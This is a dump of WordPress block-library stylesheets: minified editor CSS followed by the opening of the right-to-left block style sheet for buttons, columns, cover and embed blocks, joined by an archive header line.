.wp-social-link:before{content:"";display:block;width:1em;height:1em;border-radius:50%}.is-style-logos-only .wp-block-social-links__social-placeholder .wp-social-link:before{background:currentColor}.wp-block-social-links .block-list-appender{display:flex;align-items:center;justify-content:center;margin:0}.wp-block-social-links .block-list-appender:before{content:"";display:block;width:1em;height:1em}.wp-block-social-links .block-list-appender .block-editor-inserter{position:absolute}.wp-block-social-links .block-list-appender .block-editor-button-block-appender.block-list-appender__toggle{margin:0}.wp-block-social-links.is-style-logos-only .block-list-appender{padding:4px}.wp-block[data-align=center]>.wp-block-social-links{justify-content:center}.block-editor-block-preview__content .components-button:disabled{opacity:1}.wp-social-link.wp-social-link__is-incomplete{opacity:.5}@media (prefers-reduced-motion:reduce){.wp-social-link.wp-social-link__is-incomplete{transition-duration:0s}}.wp-block-social-links .is-selected .wp-social-link__is-incomplete,.wp-social-link.wp-social-link__is-incomplete:focus,.wp-social-link.wp-social-link__is-incomplete:hover{opacity:1}[data-type="core/social-links"] .wp-social-link:focus{opacity:1;box-shadow:0 0 0 2px #fff,0 0 0 4px var(--wp-admin-theme-color);outline:2px solid transparent}.block-editor-block-list__block[data-type="core/spacer"]:before{content:"";display:block;position:absolute;width:100%;height:24px;transform:translateY(-12px)}.block-library-spacer__resize-container.has-show-handle,.wp-block-spacer.is-hovered .block-library-spacer__resize-container{background:rgba(0,0,0,.1)}.is-dark-theme .block-library-spacer__resize-container.has-show-handle,.is-dark-theme .wp-block-spacer.is-hovered .block-library-spacer__resize-container{background:hsla(0,0%,100%,.15)}.block-library-spacer__resize-container{clear:both;margin-bottom:28px}.block-library-spacer__resize-container .components-resizable-box__handle:before{content:none}.edit-post-visual-editor p.wp-block-subhead{color:#555;font-size:1.1em;font-style:italic}.wp-block-table{margin:0}.wp-block[data-align=center]>.wp-block-table,.wp-block[data-align=left]>.wp-block-table,.wp-block[data-align=right]>.wp-block-table{height:auto}.wp-block[data-align=center]>.wp-block-table table,.wp-block[data-align=left]>.wp-block-table table,.wp-block[data-align=right]>.wp-block-table table{width:auto}.wp-block[data-align=center]>.wp-block-table td,.wp-block[data-align=center]>.wp-block-table th,.wp-block[data-align=left]>.wp-block-table td,.wp-block[data-align=left]>.wp-block-table th,.wp-block[data-align=right]>.wp-block-table td,.wp-block[data-align=right]>.wp-block-table th{word-break:break-word}.wp-block[data-align=center]>.wp-block-table{text-align:initial}.wp-block[data-align=center]>.wp-block-table table{margin:0 auto}.wp-block-table table{border-collapse:collapse}.wp-block-table td,.wp-block-table th{border:1px solid}.wp-block-table td.is-selected,.wp-block-table th.is-selected{border-color:var(--wp-admin-theme-color);box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color);border-style:double}.wp-block-table figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-table figcaption{color:hsla(0,0%,100%,.65)}.blocks-table__placeholder-form.blocks-table__placeholder-form{display:flex;flex-direction:column;align-items:flex-start}.blocks-table__placeholder-form.blocks-table__placeholder-form>*{margin-bottom:8px}@media (min-width:782px){.blocks-table__placeholder-form.blocks-table__placeholder-form{flex-direction:row;align-items:flex-end}.blocks-table__placeholder-form.blocks-table__placeholder-form>*{margin-bottom:0}}.blocks-table__placeholder-input{width:112px;margin-right:8px;margin-bottom:0}.blocks-table__placeholder-input input{height:36px}.blocks-table__placeholder-input .components-base-control__field{margin-bottom:0}.wp-block-tag-cloud a{display:inline-block;margin-right:5px}.wp-block-tag-cloud span{display:inline-block;margin-left:5px;color:#757575;text-decoration:none}.wp-block-template-part__placeholder-preview-dropdown-content .components-popover__content,.wp-block-template-part__preview-dropdown-content .components-popover__content{min-width:320px;padding:0}.wp-block-template-part__selection-preview-search-form{border-bottom:1px solid #ddd}.wp-block-template-part__selection-preview-container{background:#fff;padding-bottom:16px}.wp-block-template-part__selection-preview-container .wp-block-template-part__selection-preview-item{border-radius:2px;cursor:pointer;margin-top:16px;transition:all .05s ease-in-out;border:1px solid transparent;width:100%;background-color:#fff}.wp-block-template-part__selection-preview-container .wp-block-template-part__selection-preview-item:hover{border:1px solid var(--wp-admin-theme-color)}.wp-block-template-part__selection-preview-container .wp-block-template-part__selection-preview-item:focus{box-shadow:inset 0 0 0 1px #fff,0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid transparent}.wp-block-template-part__selection-preview-container .wp-block-template-part__selection-preview-item.is-placeholder{min-height:100px}.wp-block-template-part__selection-preview-container .wp-block-template-part__selection-preview-item-title{padding:4px;font-size:12px;text-align:left}.wp-block-template-part__selection-preview-container .wp-block-template-part__selection-panel-group-header{padding:16px 16px 0}.wp-block-template-part__selection-preview-container .wp-block-template-part__selection-panel-group-content{padding:0 16px}.wp-block-template-part__selection-preview-container .wp-block-template-part__selection-panel-group-title{color:var(--wp-admin-theme-color);text-transform:uppercase;font-size:11px;font-weight:500}.wp-block-template-part__block-control-group{display:flex}.wp-block-template-part__block-control-group .wp-block-template-part__name-panel{outline:1px solid transparent;padding:8px 0 8px 12px}.wp-block-template-part__block-control-group .wp-block-template-part__name-panel .components-base-control__field{align-items:center;display:flex;margin-bottom:0}.wp-block-template-part__block-control-group .wp-block-template-part__name-panel .components-base-control__label{margin-bottom:0;margin-right:8px}.is-dark-theme .is-navigate-mode .is-selected .wp-block-template-part__name-panel,.is-navigate-mode .is-selected .wp-block-template-part__name-panel{box-shadow:0 0 0 1px var(--wp-admin-theme-color)}.block-editor-block-list__block[data-type="core/template-part"].has-child-selected:after,.block-editor-block-list__block[data-type="core/template-part"].is-selected:after{top:1px;bottom:1px;left:1px;right:1px;border-radius:1px;box-shadow:0 0 0 1px #1e1e1e}.wp-block-text-columns .block-editor-rich-text__editable:focus{outline:1px solid #ddd}pre.wp-block-verse{color:#1e1e1e;padding:1em}.wp-block[data-align=center]>.wp-block-video{text-align:center}.editor-video-poster-control .components-base-control__label{display:block}.editor-video-poster-control .components-button{margin-right:8px}.block-library-video-tracks-editor{z-index:159990}.block-library-video-tracks-editor>.components-popover__content{width:360px}.block-library-video-tracks-editor__track-list-track{display:flex;place-content:space-between;align-items:baseline;padding-left:12px}.block-library-video-tracks-editor__single-track-editor-label-language{display:flex;margin-top:12px}.block-library-video-tracks-editor__single-track-editor-label-language>.components-base-control{width:50%}.block-library-video-tracks-editor__single-track-editor-label-language>.components-base-control:first-child{margin-right:16px}.block-library-video-tracks-editor__single-track-editor-kind-select{max-width:240px}.block-library-video-tracks-editor__single-track-editor-buttons-container{display:flex;place-content:space-between;margin-top:32px}.block-library-video-tracks-editor__single-track-editor-edit-track-label{margin-top:4px;margin-bottom:12px;color:#757575;text-transform:uppercase;font-size:11px;font-weight:500;display:block}.block-library-video-tracks-editor>.components-popover__content>div,.block-library-video-tracks-editor__add-tracks-container .components-menu-group__label,.block-library-video-tracks-editor__track-list .components-menu-group__label{padding:0}.block-library-video-tracks-editor__add-tracks-container,.block-library-video-tracks-editor__single-track-editor,.block-library-video-tracks-editor__track-list{padding:12px}.block-library-video-tracks-editor__single-track-editor .components-base-control .components-base-control__label{margin-bottom:4px}.block-library-video-tracks-editor__single-track-editor .components-base-control .components-base-control__field{margin-bottom:12px}.block-library-video-tracks-editor__single-track-editor .components-base-control .components-text-control__input{margin-left:0}.block-library-video-tracks-editor__single-track-editor .components-base-control .components-input-control__label{margin-bottom:4px}.wp-block.wp-block-query-loop{max-width:100%;padding-left:0;list-style:none}.editor-styles-wrapper .wp-block.wp-block-query{max-width:100%}.block-library-query-toolbar__popover .components-popover__content{min-width:230px}.wp-block-query__create-new-link{padding:0 16px 16px 56px}.wp-block>.wp-block-query-pagination{display:flex;flex-wrap:wrap;flex-direction:row}.editor-styles-wrapper .wp-block-query-pagination{max-width:100%}.editor-styles-wrapper .wp-block-query-pagination.block-editor-block-list__layout{margin:0}.block-library-query-pagination-toolbar__popover .components-popover__content{min-width:230px}.wp-block-query-pagination>.wp-block-query-pagination-next,.wp-block-query-pagination>.wp-block-query-pagination-numbers,.wp-block-query-pagination>.wp-block-query-pagination-previous{display:inline-block;margin:.5em .5em .5em 0}.wp-block-query-pagination>.wp-block-query-pagination-next:last-child,.wp-block-query-pagination>.wp-block-query-pagination-numbers:last-child,.wp-block-query-pagination>.wp-block-query-pagination-previous:last-child{margin-right:0}.wp-block-query-pagination-numbers a{text-decoration:underline}.wp-block-query-pagination-numbers .page-numbers{margin-right:2px}.wp-block-query-pagination-numbers .page-numbers:last-child{margin-right:0}div[data-type="core/post-featured-image"] img{max-width:100%;height:auto;display:block}.editor-styles-wrapper .post-featured-image_placeholder{display:flex;flex-direction:row;align-items:flex-start;border-radius:2px;background-color:#fff;box-shadow:inset 0 0 0 1px #1e1e1e;padding:12px}.editor-styles-wrapper .post-featured-image_placeholder svg{margin-right:12px}.editor-styles-wrapper .post-featured-image_placeholder p{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;margin:0}:root .editor-styles-wrapper .has-pale-pink-background-color{background-color:#f78da7}:root .editor-styles-wrapper .has-vivid-red-background-color{background-color:#cf2e2e}:root .editor-styles-wrapper .has-luminous-vivid-orange-background-color{background-color:#ff6900}:root .editor-styles-wrapper .has-luminous-vivid-amber-background-color{background-color:#fcb900}:root .editor-styles-wrapper .has-light-green-cyan-background-color{background-color:#7bdcb5}:root .editor-styles-wrapper .has-vivid-green-cyan-background-color{background-color:#00d084}:root .editor-styles-wrapper .has-pale-cyan-blue-background-color{background-color:#8ed1fc}:root .editor-styles-wrapper .has-vivid-cyan-blue-background-color{background-color:#0693e3}:root .editor-styles-wrapper .has-vivid-purple-background-color{background-color:#9b51e0}:root .editor-styles-wrapper .has-white-background-color{background-color:#fff}:root .editor-styles-wrapper .has-very-light-gray-background-color{background-color:#eee}:root .editor-styles-wrapper .has-cyan-bluish-gray-background-color{background-color:#abb8c3}:root .editor-styles-wrapper .has-very-dark-gray-background-color{background-color:#313131}:root .editor-styles-wrapper .has-black-background-color{background-color:#000}:root .editor-styles-wrapper .has-pale-pink-color{color:#f78da7}:root .editor-styles-wrapper .has-vivid-red-color{color:#cf2e2e}:root .editor-styles-wrapper .has-luminous-vivid-orange-color{color:#ff6900}:root .editor-styles-wrapper .has-luminous-vivid-amber-color{color:#fcb900}:root .editor-styles-wrapper .has-light-green-cyan-color{color:#7bdcb5}:root .editor-styles-wrapper .has-vivid-green-cyan-color{color:#00d084}:root .editor-styles-wrapper .has-pale-cyan-blue-color{color:#8ed1fc}:root .editor-styles-wrapper .has-vivid-cyan-blue-color{color:#0693e3}:root .editor-styles-wrapper .has-vivid-purple-color{color:#9b51e0}:root .editor-styles-wrapper .has-white-color{color:#fff}:root .editor-styles-wrapper .has-very-light-gray-color{color:#eee}:root .editor-styles-wrapper .has-cyan-bluish-gray-color{color:#abb8c3}:root .editor-styles-wrapper .has-very-dark-gray-color{color:#313131}:root .editor-styles-wrapper .has-black-color{color:#000}:root .editor-styles-wrapper .has-vivid-cyan-blue-to-vivid-purple-gradient-background{background:linear-gradient(135deg,#0693e3,#9b51e0)}:root .editor-styles-wrapper .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .editor-styles-wrapper .has-light-green-cyan-to-vivid-green-cyan-gradient-background{background:linear-gradient(135deg,#7adcb4,#00d082)}:root .editor-styles-wrapper .has-luminous-vivid-amber-to-luminous-vivid-orange-gradient-background{background:linear-gradient(135deg,#fcb900,#ff6900)}:root .editor-styles-wrapper .has-luminous-vivid-orange-to-vivid-red-gradient-background{background:linear-gradient(135deg,#ff6900,#cf2e2e)}:root .editor-styles-wrapper .has-very-light-gray-to-cyan-bluish-gray-gradient-background{background:linear-gradient(135deg,#eee,#a9b8c3)}:root .editor-styles-wrapper .has-cool-to-warm-spectrum-gradient-background{background:linear-gradient(135deg,#4aeadc,#9778d1 20%,#cf2aba 40%,#ee2c82 60%,#fb6962 80%,#fef84c)}:root .editor-styles-wrapper .has-blush-light-purple-gradient-background{background:linear-gradient(135deg,#ffceec,#9896f0)}:root .editor-styles-wrapper .has-blush-bordeaux-gradient-background{background:linear-gradient(135deg,#fecda5,#fe2d2d 50%,#6b003e)}:root .editor-styles-wrapper .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .editor-styles-wrapper .has-luminous-dusk-gradient-background{background:linear-gradient(135deg,#ffcb70,#c751c0 50%,#4158d0)}:root .editor-styles-wrapper .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .editor-styles-wrapper .has-pale-ocean-gradient-background{background:linear-gradient(135deg,#fff5cb,#b6e3d4 50%,#33a7b5)}:root .editor-styles-wrapper .has-electric-grass-gradient-background{background:linear-gradient(135deg,#caf880,#71ce7e)}:root .editor-styles-wrapper .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .editor-styles-wrapper .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .editor-styles-wrapper .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .editor-styles-wrapper .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}.editor-styles-wrapper .has-small-font-size{font-size:13px}.editor-styles-wrapper .has-normal-font-size,.editor-styles-wrapper .has-regular-font-size{font-size:16px}.editor-styles-wrapper .has-medium-font-size{font-size:20px}.editor-styles-wrapper .has-large-font-size{font-size:36px}.editor-styles-wrapper .has-huge-font-size,.editor-styles-wrapper .has-larger-font-size{font-size:42px}.block-editor-block-list__block{margin-top:28px;margin-bottom:28px}#end-resizable-editor-section{display:none}css/dist/block-library/style-rtl.css000064400000205650151202620300013503 0ustar00@charset "UTF-8"; /** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * These are default block editor widths in case the theme doesn't provide them. */ #start-resizable-editor-section { display: none; } .wp-block-audio figcaption { margin-top: 0.5em; margin-bottom: 1em; } .wp-block-audio audio { width: 100%; min-width: 300px; } .wp-block-button__link { color: #fff; background-color: #32373c; border: none; border-radius: 1.55em; box-shadow: none; cursor: pointer; display: inline-block; font-size: 1.125em; padding: 0.667em 1.333em; text-align: center; text-decoration: none; overflow-wrap: break-word; } .wp-block-button__link:hover, .wp-block-button__link:focus, .wp-block-button__link:active, .wp-block-button__link:visited { color: #fff; } .wp-block-button__link.aligncenter { text-align: center; } .wp-block-button__link.alignright { text-align: right; } .wp-block-buttons > .wp-block-button.has-custom-width { max-width: none; } .wp-block-buttons > .wp-block-button.has-custom-width .wp-block-button__link { width: 100%; } .wp-block-buttons > .wp-block-button.wp-block-button__width-25 { width: calc(25% - 0.5em); } .wp-block-buttons > .wp-block-button.wp-block-button__width-50 { width: calc(50% - 0.5em); } .wp-block-buttons > .wp-block-button.wp-block-button__width-75 { width: calc(75% - 0.5em); } .wp-block-buttons > .wp-block-button.wp-block-button__width-100 { margin-left: 0; width: 100%; } .wp-block-button.is-style-squared, .wp-block-button__link.wp-block-button.is-style-squared { border-radius: 0; } .wp-block-button.no-border-radius, .wp-block-button__link.no-border-radius { border-radius: 0 !important; } .is-style-outline > .wp-block-button__link, .wp-block-button__link.is-style-outline { border: 2px solid; } .is-style-outline > .wp-block-button__link:not(.has-text-color), .wp-block-button__link.is-style-outline:not(.has-text-color) { color: #32373c; } .is-style-outline > .wp-block-button__link:not(.has-background), .wp-block-button__link.is-style-outline:not(.has-background) { background-color: transparent; } .wp-block-buttons { display: flex; flex-direction: row; flex-wrap: wrap; /* stylelint-disable indentation */ } .wp-block-buttons.is-vertical { flex-direction: column; } .wp-block-buttons.is-vertical > .wp-block-button { margin-right: 0; } .wp-block-buttons.is-vertical > .wp-block-button:last-child { margin-bottom: 0; } .wp-block-buttons > .wp-block-button { display: inline-block; margin-left: 0; margin-right: 0.5em; margin-bottom: 0.5em; } .wp-block-buttons > .wp-block-button:last-child { margin-right: 0; } .wp-block-buttons.is-content-justification-left { justify-content: flex-start; } .wp-block-buttons.is-content-justification-left.is-vertical { align-items: flex-start; } .wp-block-buttons.is-content-justification-center { justify-content: center; } .wp-block-buttons.is-content-justification-center.is-vertical { align-items: center; } .wp-block-buttons.is-content-justification-right { justify-content: flex-end; } .wp-block-buttons.is-content-justification-right > .wp-block-button { margin-left: 0.5em; margin-right: 0; } .wp-block-buttons.is-content-justification-right > .wp-block-button:first-child { margin-left: 0; } .wp-block-buttons.is-content-justification-right.is-vertical { align-items: flex-end; } .wp-block-buttons.is-content-justification-space-between { justify-content: space-between; } .wp-block-buttons.aligncenter { text-align: center; } .wp-block-buttons.alignleft .wp-block-button { margin-left: 0; margin-right: 0.5em; } .wp-block-buttons.alignleft .wp-block-button:last-child { margin-right: 0; } .wp-block-buttons.alignright .wp-block-button { margin-right: 0; margin-left: 0.5em; } .wp-block-buttons.alignright .wp-block-button:first-child { margin-left: 0; } .wp-block-buttons:not(.is-content-justification-space-between, .is-content-justification-right, .is-content-justification-left, .is-content-justification-center) .wp-block-button.aligncenter { /* stylelint-enable indentation */ margin-right: auto; margin-left: auto; margin-bottom: 0.5em; width: 100%; } .wp-block-calendar { text-align: center; } .wp-block-calendar th, .wp-block-calendar tbody td { padding: 0.25em; border: 1px solid #ddd; } .wp-block-calendar tfoot td { border: none; } .wp-block-calendar table { width: 100%; border-collapse: collapse; } .wp-block-calendar table th { font-weight: 400; background: #ddd; } .wp-block-calendar a { text-decoration: underline; } .wp-block-calendar table tbody, .wp-block-calendar table caption { color: #40464d; } .wp-block-categories.alignleft { margin-right: 2em; } .wp-block-categories.alignright { margin-left: 2em; } .wp-block-code code { display: block; white-space: pre-wrap; overflow-wrap: break-word; } .wp-block-columns { display: flex; margin-bottom: 1.75em; flex-wrap: wrap; /** * All Columns Alignment */ } @media (min-width: 782px) { .wp-block-columns { flex-wrap: nowrap; } } .wp-block-columns.has-background { padding: 1.25em 2.375em; } .wp-block-columns.are-vertically-aligned-top { align-items: flex-start; } .wp-block-columns.are-vertically-aligned-center { align-items: center; } .wp-block-columns.are-vertically-aligned-bottom { align-items: flex-end; } .wp-block-column { flex-grow: 1; min-width: 0; word-break: break-word; overflow-wrap: break-word; /** * Individual Column Alignment */ } @media (max-width: 599px) { .wp-block-column { flex-basis: 100% !important; } } @media (min-width: 600px) and (max-width: 781px) { .wp-block-column:not(:only-child) { flex-basis: calc(50% - 1em) !important; flex-grow: 0; } .wp-block-column:nth-child(even) { margin-right: 2em; } } @media (min-width: 782px) { .wp-block-column { flex-basis: 0; flex-grow: 1; } .wp-block-column[style*=flex-basis] { flex-grow: 0; } .wp-block-column:not(:first-child) { margin-right: 2em; } } .wp-block-column.is-vertically-aligned-top { align-self: flex-start; } .wp-block-column.is-vertically-aligned-center { -ms-grid-row-align: center; align-self: center; } .wp-block-column.is-vertically-aligned-bottom { align-self: flex-end; } .wp-block-column.is-vertically-aligned-top, .wp-block-column.is-vertically-aligned-center, .wp-block-column.is-vertically-aligned-bottom { width: 100%; } .wp-block-cover-image, .wp-block-cover { position: relative; background-size: cover; background-position: center center; min-height: 430px; width: 100%; display: flex; justify-content: center; align-items: center; padding: 1em; box-sizing: border-box; /** * Set a default background color for has-background-dim _unless_ it includes another * background-color class (e.g. has-green-background-color). The presence of another * background-color class implies that another style will provide the background color * for the overlay. * * See: * - Issue with background color specificity: https://github.com/WordPress/gutenberg/issues/26545 * - Issue with alternative fix: https://github.com/WordPress/gutenberg/issues/26545 */ } .wp-block-cover-image.has-parallax, .wp-block-cover.has-parallax { background-attachment: fixed; } @supports (-webkit-overflow-scrolling: touch) { .wp-block-cover-image.has-parallax, .wp-block-cover.has-parallax { background-attachment: scroll; } } @media (prefers-reduced-motion: reduce) { .wp-block-cover-image.has-parallax, .wp-block-cover.has-parallax { background-attachment: scroll; } } .wp-block-cover-image.is-repeated, .wp-block-cover.is-repeated { background-repeat: repeat; background-size: auto; } .wp-block-cover-image.has-background-dim:not([class*=-background-color]), .wp-block-cover.has-background-dim:not([class*=-background-color]) { background-color: #000; } .wp-block-cover-image.has-background-dim::before, .wp-block-cover.has-background-dim::before { content: ""; background-color: inherit; } .wp-block-cover-image.has-background-dim:not(.has-background-gradient)::before, .wp-block-cover-image .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim:not(.has-background-gradient)::before, .wp-block-cover .wp-block-cover__gradient-background { position: absolute; top: 0; right: 0; bottom: 0; left: 0; z-index: 1; opacity: 0.5; } .wp-block-cover-image.has-background-dim.has-background-dim-10:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-10:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background { opacity: 0.1; } .wp-block-cover-image.has-background-dim.has-background-dim-20:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-20:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background { opacity: 0.2; } .wp-block-cover-image.has-background-dim.has-background-dim-30:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-30:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background { opacity: 0.3; } .wp-block-cover-image.has-background-dim.has-background-dim-40:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-40:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background { opacity: 0.4; } .wp-block-cover-image.has-background-dim.has-background-dim-50:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-50:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background { opacity: 0.5; } .wp-block-cover-image.has-background-dim.has-background-dim-60:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-60:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background { opacity: 0.6; } .wp-block-cover-image.has-background-dim.has-background-dim-70:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-70:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background { opacity: 0.7; } .wp-block-cover-image.has-background-dim.has-background-dim-80:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-80:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background { opacity: 0.8; } .wp-block-cover-image.has-background-dim.has-background-dim-90:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-90:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background { opacity: 0.9; } .wp-block-cover-image.has-background-dim.has-background-dim-100:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-100:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background { opacity: 1; } .wp-block-cover-image.alignleft, .wp-block-cover-image.alignright, .wp-block-cover.alignleft, .wp-block-cover.alignright { max-width: 420px; width: 100%; } .wp-block-cover-image::after, .wp-block-cover::after { display: block; content: ""; font-size: 0; min-height: inherit; } @supports ((position: -webkit-sticky) or (position: sticky)) { .wp-block-cover-image::after, .wp-block-cover::after { content: none; } } .wp-block-cover-image.aligncenter, .wp-block-cover-image.alignleft, .wp-block-cover-image.alignright, .wp-block-cover.aligncenter, .wp-block-cover.alignleft, .wp-block-cover.alignright { display: flex; } .wp-block-cover-image .wp-block-cover__inner-container, .wp-block-cover .wp-block-cover__inner-container { width: 100%; z-index: 1; color: #fff; } .wp-block-cover-image p:not(.has-text-color), .wp-block-cover-image h1:not(.has-text-color), .wp-block-cover-image h2:not(.has-text-color), .wp-block-cover-image h3:not(.has-text-color), .wp-block-cover-image h4:not(.has-text-color), .wp-block-cover-image h5:not(.has-text-color), .wp-block-cover-image h6:not(.has-text-color), .wp-block-cover-image .wp-block-subhead:not(.has-text-color), .wp-block-cover p:not(.has-text-color), .wp-block-cover h1:not(.has-text-color), .wp-block-cover h2:not(.has-text-color), .wp-block-cover h3:not(.has-text-color), .wp-block-cover h4:not(.has-text-color), .wp-block-cover h5:not(.has-text-color), .wp-block-cover h6:not(.has-text-color), .wp-block-cover .wp-block-subhead:not(.has-text-color) { color: inherit; } .wp-block-cover-image.is-position-top-left, .wp-block-cover.is-position-top-left { align-items: flex-start; justify-content: flex-start; } .wp-block-cover-image.is-position-top-center, .wp-block-cover.is-position-top-center { align-items: flex-start; justify-content: center; } .wp-block-cover-image.is-position-top-right, .wp-block-cover.is-position-top-right { align-items: flex-start; justify-content: flex-end; } .wp-block-cover-image.is-position-center-left, .wp-block-cover.is-position-center-left { align-items: center; justify-content: flex-start; } .wp-block-cover-image.is-position-center-center, .wp-block-cover.is-position-center-center { align-items: center; justify-content: center; } .wp-block-cover-image.is-position-center-right, .wp-block-cover.is-position-center-right { align-items: center; justify-content: flex-end; } .wp-block-cover-image.is-position-bottom-left, .wp-block-cover.is-position-bottom-left { align-items: flex-end; justify-content: flex-start; } .wp-block-cover-image.is-position-bottom-center, .wp-block-cover.is-position-bottom-center { align-items: flex-end; justify-content: center; } .wp-block-cover-image.is-position-bottom-right, .wp-block-cover.is-position-bottom-right { align-items: flex-end; justify-content: flex-end; } .wp-block-cover-image.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container, .wp-block-cover.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container { margin: 0; width: auto; } .wp-block-cover-image img.wp-block-cover__image-background, .wp-block-cover-image video.wp-block-cover__video-background, .wp-block-cover img.wp-block-cover__image-background, .wp-block-cover video.wp-block-cover__video-background { position: absolute; top: 0; right: 0; left: 0; bottom: 0; margin: 0; padding: 0; width: 100%; height: 100%; max-width: none; max-height: none; -o-object-fit: cover; object-fit: cover; outline: none; border: none; box-shadow: none; } .wp-block-cover__video-background { z-index: 0; } .wp-block-cover__image-background { z-index: 0; } section.wp-block-cover-image h2, .wp-block-cover-image-text, .wp-block-cover-text { color: #fff; } section.wp-block-cover-image h2 a, section.wp-block-cover-image h2 a:hover, section.wp-block-cover-image h2 a:focus, section.wp-block-cover-image h2 a:active, .wp-block-cover-image-text a, .wp-block-cover-image-text a:hover, .wp-block-cover-image-text a:focus, .wp-block-cover-image-text a:active, .wp-block-cover-text a, .wp-block-cover-text a:hover, .wp-block-cover-text a:focus, .wp-block-cover-text a:active { color: #fff; } .wp-block-cover-image .wp-block-cover.has-left-content { justify-content: flex-start; } .wp-block-cover-image .wp-block-cover.has-right-content { justify-content: flex-end; } section.wp-block-cover-image.has-left-content > h2, .wp-block-cover-image.has-left-content .wp-block-cover-image-text, .wp-block-cover.has-left-content .wp-block-cover-text { margin-right: 0; text-align: right; } section.wp-block-cover-image.has-right-content > h2, .wp-block-cover-image.has-right-content .wp-block-cover-image-text, .wp-block-cover.has-right-content .wp-block-cover-text { margin-left: 0; text-align: left; } section.wp-block-cover-image > h2, .wp-block-cover-image .wp-block-cover-image-text, .wp-block-cover .wp-block-cover-text { font-size: 2em; line-height: 1.25; z-index: 1; margin-bottom: 0; max-width: 840px; padding: 0.44em; text-align: center; } .wp-block[data-align=left] > [data-type="core/embed"], .wp-block[data-align=right] > [data-type="core/embed"], .wp-block-embed.alignleft, .wp-block-embed.alignright { max-width: 360px; width: 100%; } .wp-block[data-align=left] > [data-type="core/embed"] .wp-block-embed__wrapper, .wp-block[data-align=right] > [data-type="core/embed"] .wp-block-embed__wrapper, .wp-block-embed.alignleft .wp-block-embed__wrapper, .wp-block-embed.alignright .wp-block-embed__wrapper { min-width: 280px; } .wp-block-cover .wp-block-embed { min-width: 320px; min-height: 240px; } .wp-block-embed { margin-bottom: 1em; } .wp-block-embed figcaption { margin-top: 0.5em; margin-bottom: 1em; } .wp-block-embed iframe { max-width: 100%; } .wp-block-embed__wrapper { position: relative; } .wp-embed-responsive 